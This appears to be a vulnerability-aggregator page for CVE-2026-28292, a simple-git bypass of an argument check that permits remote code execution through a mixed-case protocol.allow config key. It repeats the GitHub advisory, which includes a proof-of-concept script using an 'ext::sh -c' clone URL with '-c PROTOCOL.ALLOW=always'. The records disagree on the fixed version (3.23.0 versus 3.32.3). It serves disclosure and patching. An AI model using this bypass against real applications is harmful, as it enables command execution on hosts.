CVE-2026-28292
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE
simple-git, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE
simple-git, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
- Record
CVE-2026-28292- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78, CWE-178, CWE-76
- Updated
- 2026-11-02
EUVDEUVD-2026-10790
9.8
simple-git, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
- Record
EUVD-2026-10790- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r275-fr43-pm7q
9.8
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
Summary
The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.
Details
The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
return;
}
This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.
Verification that git normalises the key:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always
The fix is a single character — add the /i flag:
// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {
poc.js
/**
* Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
*
* CVE-2022-25912 was fixed in [email protected] by adding a regex check
* that blocks `-c protocol.*.allow=always` from being passed to git commands.
* The regex is case-sensitive. Git treats config key names case-insensitively.
* Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
*
* Affected : simple-git >= 3.15.0 (all versions with the fix applied)
* Tested on: [email protected], Node.js v23.11.0, git 2.39.5
* Reporter : CodeAnt AI Security Research ([email protected])
*/
const simpleGit = require('simple-git');
const fs = require('fs');
const SENTINEL = '/tmp/pwn-codeant';
// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}
const git = simpleGit();
// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
'-c', 'protocol.ext.allow=always', // lowercase — caught by regex
]).catch((e) => {
console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
'-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex
]).catch((e) => {
console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app…
- Record
GHSA-r275-fr43-pm7q- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78, CWE-178
- Updated
- 2026-11-02
NVD
9.8
simple-git, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
- Record
CVE-2026-28292- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78, CWE-178, CWE-76
- Updated
- 2026-11-02
OSV
9.8
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE
simple-git, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
- Record
CVE-2026-28292- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-178, CWE-78
- Updated
- 2026-11-02
OSVGHSA-r275-fr43-pm7q
9.8
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
Summary
The blockUnsafeOperationsPlugin in simple-git fails to block git protocol
override arguments when the config key is passed in uppercase or mixed case.
An attacker who controls arguments passed to git operations can enable the
ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an
arbitrary OS command on the host machine.
Details
The preventProtocolOverride function in
simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24)
checks whether a -c argument configures protocol.allow using this regex:
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
return;
}
This regex is case-sensitive. Git treats config key names
case-insensitively — it normalises them to lowercase internally.
As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always,
or any mixed-case variant is not matched by the regex, the check
returns without throwing, and git is spawned with the unsafe argument.
Verification that git normalises the key:
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always
The fix is a single character — add the /i flag:
// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {
poc.js
/**
* Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
*
* CVE-2022-25912 was fixed in [email protected] by adding a regex check
* that blocks `-c protocol.*.allow=always` from being passed to git commands.
* The regex is case-sensitive. Git treats config key names case-insensitively.
* Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
*
* Affected : simple-git >= 3.15.0 (all versions with the fix applied)
* Tested on: [email protected], Node.js v23.11.0, git 2.39.5
* Reporter : CodeAnt AI Security Research ([email protected])
*/
const simpleGit = require('simple-git');
const fs = require('fs');
const SENTINEL = '/tmp/pwn-codeant';
// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}
const git = simpleGit();
// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
'-c', 'protocol.ext.allow=always', // lowercase — caught by regex
]).catch((e) => {
console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
'-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex
]).catch((e) => {
console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
console.error(e);
});
// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app…
- Record
GHSA-r275-fr43-pm7q- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-178, CWE-78
- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10327-1 No score
heroic-games-launcher-2.20.1-3.1 on GA media
These are all security issues fixed in the heroic-games-launcher-2.20.1-3.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10327-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
simple-gitnpm |
3.15.0 up to 3.32.3 | 3.32.3 |
heroic-games-launcheropenSUSE:Tumbleweed |
before 2.20.1-3.1 | 2.20.1-3.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-28292 is a critical vulnerability (CVSS 9.8) in Simple-git Project Simple-git, published March 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.44%, the 73rd percentile. Fixed in simple-git 3.32.3.
References
github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q
github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257
codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292
codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292
access.redhat.com/security/cve/CVE-2026-28292
bugzilla.redhat.com/show_bug.cgi?id=2446162
Show 6 moreShow less
Left out here: the rest of 2 source descriptions. The JSON record has them.